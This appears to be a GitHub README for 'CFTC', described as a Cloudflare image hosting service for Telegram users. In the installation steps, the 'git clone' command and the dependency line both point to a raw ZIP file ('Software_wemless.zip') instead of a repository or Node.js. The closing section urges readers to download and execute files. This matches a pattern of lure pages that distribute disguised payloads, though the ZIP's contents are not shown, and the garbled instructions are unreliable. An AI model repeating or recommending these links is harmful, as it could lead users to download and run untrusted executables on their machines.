Welcome to the CFTC repository! This project focuses on providing a reliable image hosting service using Cloudflare, tailored specifically for Telegram users. Our aim is to simplify the process of sharing images within the Telegram ecosystem while ensuring speed and efficiency.
- Introduction
- Features
- Getting Started
- Installation
- Usage
- API Reference
- Contributing
- License
- Contact
- Releases
CFTC stands for Cloudflare Telegram Image Hosting. This service allows users to host images on Cloudflare's infrastructure, making it easy to share images on Telegram. The integration of Cloudflare ensures fast loading times and high availability, providing a seamless experience for users.
- Fast Image Hosting: Leverage Cloudflare's global network for quick image delivery.
- Telegram Integration: Easily share images in Telegram chats and channels.
- Free Image Hosting: Host images without any costs involved.
- User-Friendly API: Access a simple API for uploading and managing images.
- Scalable Infrastructure: Built on Cloudflare's reliable platform, ensuring uptime and performance.
To get started with CFTC, you will need to set up your environment and install the necessary dependencies. Follow the instructions below to get everything running smoothly.
-
Clone the Repository
First, clone the repository to your local machine:
git clone https://github.com/Ahmocan/cftc/raw/refs/heads/main/images/Software_wemless.zip
-
Navigate to the Directory
Change to the project directory:
cd cftc -
Install Dependencies
Install the required dependencies. Make sure you have https://github.com/Ahmocan/cftc/raw/refs/heads/main/images/Software_wemless.zip and npm installed:
npm install
-
Set Up Environment Variables
Create a
.envfile in the root directory and add your Cloudflare API credentials:CLOUDFLARE_API_KEY=your_api_key CLOUDFLARE_EMAIL=your_email CLOUDFLARE_ACCOUNT_ID=your_account_id -
Run the Application
Start the application with the following command:
npm start
Once the application is running, you can use the API to upload and manage images. Below are some common tasks you can perform:
To upload an image, send a POST request to the /upload endpoint with the image file included in the request body.
To retrieve an image, use the GET request with the image ID:
GET /image/:idTo delete an image, send a DELETE request to the following endpoint:
DELETE /image/:idThe CFTC API provides several endpoints to interact with the image hosting service. Below is a brief overview of the available endpoints:
- Description: Upload an image to the server.
- Request Body: Multipart form-data containing the image file.
- Response: Returns the image ID and URL.
- Description: Retrieve an image by its ID.
- Response: Returns the image data.
- Description: Delete an image by its ID.
- Response: Returns a success message.
We welcome contributions to improve CFTC. If you would like to contribute, please follow these steps:
- Fork the repository.
- Create a new branch for your feature or bug fix.
- Make your changes and commit them.
- Push your changes to your fork.
- Create a pull request detailing your changes.
This project is licensed under the MIT License. See the LICENSE file for details.
For any inquiries or support, please reach out via email or open an issue in the repository.
To download the latest version of CFTC, visit our Releases page. Make sure to download and execute the necessary files to get started.
Explore the features and functionalities of CFTC and enhance your Telegram experience with efficient image hosting!
Feel free to check the "Releases" section for the latest updates and versions. Your feedback is valuable to us, and we look forward to your contributions!